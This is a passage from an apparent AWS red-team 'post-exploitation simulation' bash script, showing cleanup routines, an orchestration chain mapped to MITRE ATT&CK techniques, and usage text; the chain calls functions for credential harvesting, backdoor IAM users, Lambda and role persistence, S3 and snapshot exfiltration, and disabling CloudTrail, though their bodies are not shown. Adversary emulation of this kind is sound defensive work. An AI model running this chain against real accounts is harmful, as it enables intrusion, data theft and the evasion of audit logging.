  869.                 log ERROR "Failed to delete snapshot: ${snapshot}"
  870.             fi
  871.         fi
  872.     done
  873. }
  874.  
  875. cleanup_secrets() {
  876.     log INFO "Cleaning up Secrets Manager secrets..."
  877.    
  878.     if [ -z "${ARTIFACTS[secrets]}" ]; then
  879.         log INFO "No secrets to clean up"
  880.         return
  881.     fi
  882.    
  883.     IFS=',' read -ra secrets <<< "${ARTIFACTS[secrets]}"
  884.     for secret in "${secrets[@]}"; do
  885.         if [ -n "$secret" ]; then
  886.             log INFO "Deleting secret: ${secret}"
  887.            
  888.             if aws secretsmanager delete-secret \
  889.                 --secret-id "${secret}" \
  890.                 --force-delete-without-recovery \
  891.                 2>> "${LOG_FILE}"; then
  892.                 log SUCCESS "Deleted secret: ${secret}"
  893.             else
  894.                 log ERROR "Failed to delete secret: ${secret}"
  895.             fi
  896.         fi
  897.     done
  898. }
  899.  
  900. cleanup_cloudtrail() {
  901.     log INFO "Re-enabling CloudTrail logging..."
  902.    
  903.     if [ -z "${ARTIFACTS[cloudtrail]}" ]; then
  904.         log INFO "No CloudTrail trails to re-enable"
  905.         return
  906.     fi
  907.    
  908.     IFS=',' read -ra trails <<< "${ARTIFACTS[cloudtrail]}"
  909.     for trail in "${trails[@]}"; do
  910.         if [ -n "$trail" ]; then
  911.             log INFO "Re-enabling trail: ${trail}"
  912.            
  913.             if aws cloudtrail start-logging --name "${trail}" 2>> "${LOG_FILE}"; then
  914.                 log SUCCESS "Re-enabled trail: ${trail}"
  915.             else
  916.                 log ERROR "Failed to re-enable trail: ${trail}"
  917.             fi
  918.         fi
  919.     done
  920. }
  921.  
  922. cleanup_all() {
  923.     log INFO "========================================="
  924.     log INFO "Starting cleanup of all artifacts..."
  925.     log INFO "========================================="
  926.    
  927.     # Load artifacts from file if it exists
  928.     if [ -f "${ARTIFACTS_FILE}" ]; then
  929.         log INFO "Loading artifacts from ${ARTIFACTS_FILE}"
  930.        
  931.         ARTIFACTS[iam_users]=$(jq -r '.iam_users[]?' "${ARTIFACTS_FILE}" | tr '\n' ',' 2>/dev/null)
  932.         ARTIFACTS[iam_roles]=$(jq -r '.iam_roles[]?' "${ARTIFACTS_FILE}" | tr '\n' ',' 2>/dev/null)
  933.         ARTIFACTS[lambda_functions]=$(jq -r '.lambda_functions[]?' "${ARTIFACTS_FILE}" | tr '\n' ',' 2>/dev/null)
  934.         ARTIFACTS[s3_buckets]=$(jq -r '.s3_buckets[]?' "${ARTIFACTS_FILE}" | tr '\n' ',' 2>/dev/null)
  935.         ARTIFACTS[snapshots]=$(jq -r '.snapshots[]?' "${ARTIFACTS_FILE}" | tr '\n' ',' 2>/dev/null)
  936.         ARTIFACTS[secrets]=$(jq -r '.secrets[]?' "${ARTIFACTS_FILE}" | tr '\n' ',' 2>/dev/null)
  937.         ARTIFACTS[cloudtrail]=$(jq -r '.cloudtrail[]?' "${ARTIFACTS_FILE}" | tr '\n' ',' 2>/dev/null)
  938.     fi
  939.    
  940.     cleanup_lambda_functions
  941.     cleanup_iam_users
  942.     cleanup_iam_roles
  943.     cleanup_s3_buckets
  944.     cleanup_snapshots
  945.     cleanup_secrets
  946.     cleanup_cloudtrail
  947.    
  948.     log SUCCESS "========================================="
  949.     log SUCCESS "Cleanup complete!"
  950.     log SUCCESS "========================================="
  951. }
  952.  
  953. ###############################################################################
  954. # Main Exploitation Chain
  955. ###############################################################################
  956.  
  957. run_exploitation() {
  958.     log INFO "========================================="
  959.     log INFO "Starting AWS Post-Exploitation Simulation"
  960.     log INFO "========================================="
  961.    
  962.     # T1087.004 - Discovery
  963.     discover_cloud_environment
  964.    
  965.     # T1552.005 - Credential Access
  966.     enumerate_iam_permissions
  967.     harvest_credentials
  968.    
  969.     # T1098 - Persistence via IAM User
  970.     create_backdoor_user
  971.    
  972.     # T1078.004 - Persistence via Lambda
  973.     create_lambda_backdoor
  974.    
  975.     # T1136.003 - Persistence via Cross-Account Role
  976.     create_assume_role_backdoor
  977.    
  978.     # T1555.004 - Secrets Manager Backdoor
  979.     create_secrets_backdoor
  980.    
  981.     # T1537 - Exfiltration via S3
  982.     create_exfil_bucket
  983.     exfiltrate_s3_data
  984.    
  985.     # T1537 - Exfiltration via Snapshots
  986.     create_snapshot_backdoor
  987.    
  988.     # T1562.008 - Defense Evasion
  989.     disable_cloudtrail
  990.    
  991.     save_artifacts
  992.    
  993.     log SUCCESS "========================================="
  994.     log SUCCESS "Exploitation simulation complete!"
  995.     log SUCCESS "Log file: ${LOG_FILE}"
  996.     log SUCCESS "Artifacts: ${ARTIFACTS_FILE}"
  997.     log SUCCESS "========================================="
  998. }
  999.  
  1000. ###############################################################################
  1001. # Usage and Main
  1002. ###############################################################################
  1003.  
  1004. usage() {
  1005.     cat << EOF
  1006. Usage: $0 [OPTIONS] --operation <exploit|cleanup>
  1007.  
  1008. AWS Post-Exploitation Simulation Framework
  1009.  
  1010. OPTIONS:
  1011.     -o, --operation <exploit|cleanup>   Operation mode (required)
  1012.     -r, --region <region>               AWS region (default: us-east-1)
  1013.     -p, --profile <profile>             AWS CLI profile to use
  1014.     -d, --dry-run                       Simulate actions without execution
  1015.     -a, --artifacts <file>              Artifacts file for cleanup
  1016.     -h, --help                          Show this help message
  1017.  
  1018. OPERATIONS:
  1019.     exploit     Run full post-exploitation simulation
  1020.     cleanup     Clean up all created artifacts
  1021.  
  1022. EXAMPLES:
  1023.     # Run exploitation simulation
  1024.     $0 --operation exploit --region us-west-2
  1025.  
  1026.     # Dry run to see what would be executed
  1027.     $0 --operation exploit --dry-run
  1028.  
  1029.     # Clean up all artifacts
  1030.     $0 --operation cleanup --artifacts aws_artifacts_20260131_120000.json
  1031.  
  1032.     # Use specific AWS profile
  1033.     $0 --operation exploit --profile red-team --region eu-west-1
  1034.  
  1035. MITRE ATT&CK TECHNIQUES SIMULATED:
  1036.     T1098      - Account Manipulation
  1037.     T1078.004  - Valid Accounts: Cloud Accounts
  1038.     T1087.004  - Account Discovery: Cloud Account
  1039.     T1136.003  - Create Account: Cloud Account
  1040.     T1528      - Steal Application Access Token
  1041.     T1530      - Data from Cloud Storage Object
  1042.     T1537      - Transfer Data to Cloud Account
  1043.     T1552.005  - Unsecured Credentials: Cloud Instance Metadata API
  1044.     T1555.004  - Credentials from Password Stores: Cloud Secrets Management
  1045.     T1562.008  - Impair Defenses: Disable Cloud Logs
  1046.  
  1047. EOF
  1048. }
  1049.  
  1050. main() {
  1051.     banner
  1052.    
  1053.     # Parse arguments
  1054.     while [[ $# -gt 0 ]]; do
  1055.         case $1 in
  1056.             -o|--operation)
  1057.                 OPERATION="$2"
  1058.                 shift 2
  1059.                 ;;
  1060.             -r|--region)
  1061.                 AWS_REGION="$2"
  1062.                 export AWS_DEFAULT_REGION="$2"
  1063.                 shift 2
  1064.                 ;;
  1065.             -p|--profile)
  1066.                 export AWS_PROFILE="$2"
  1067.                 shift 2
  1068.                 ;;
  1069.             -d|--dry-run)
  1070.                 DRY_RUN=true
  1071.                 shift
  1072.                 ;;
  1073.             -a|--artifacts)
  1074.                 ARTIFACTS_FILE="$2"
  1075.                 shift 2
  1076.                 ;;
  1077.             -h|--help)
  1078.                 usage
  1079.                 exit 0
  1080.                 ;;
  1081.             *)
  1082.                 log ERROR "Unknown option: $1"
  1083.                 usage
  1084.                 exit 1
  1085.                 ;;
  1086.         esac
  1087.     done
  1088.    
  1089.     # Validate operation
  1090.     if [ -z "$OPERATION" ]; then
  1091.         log ERROR "Operation is required"
  1092.         usage
  1093.         exit 1
  1094.     fi
  1095.    
  1096.     if [ "$OPERATION" != "exploit" ] && [ "$OPERATION" != "cleanup" ]; then
  1097.         log ERROR "Invalid operation: $OPERATION"
  1098.         usage
  1099.         exit 1
  1100.     fi
  1101.    
  1102.     # Check dependencies
  1103.     check_dependencies
  1104.    
  1105.     # Get AWS account info
  1106.     get_account_id
  1107.    
  1108.     # Execute operation
  1109.     case $OPERATION in
  1110.         exploit)
  1111.             if [ "$DRY_RUN" = true ]; then
  1112.                 log WARNING "DRY RUN MODE - No changes will be made"
  1113.             fi
  1114.             run_exploitation
  1115.             ;;
  1116.         cleanup)
  1117.             cleanup_all
  1118.             ;;
  1119.     esac
  1120.    
  1121.     log INFO "Operation completed. Review ${LOG_FILE} for details."
  1122. }
  1123.  
  1124. # Run main function
  1125. main "$@"
Add Comment
Please, Sign In to add comment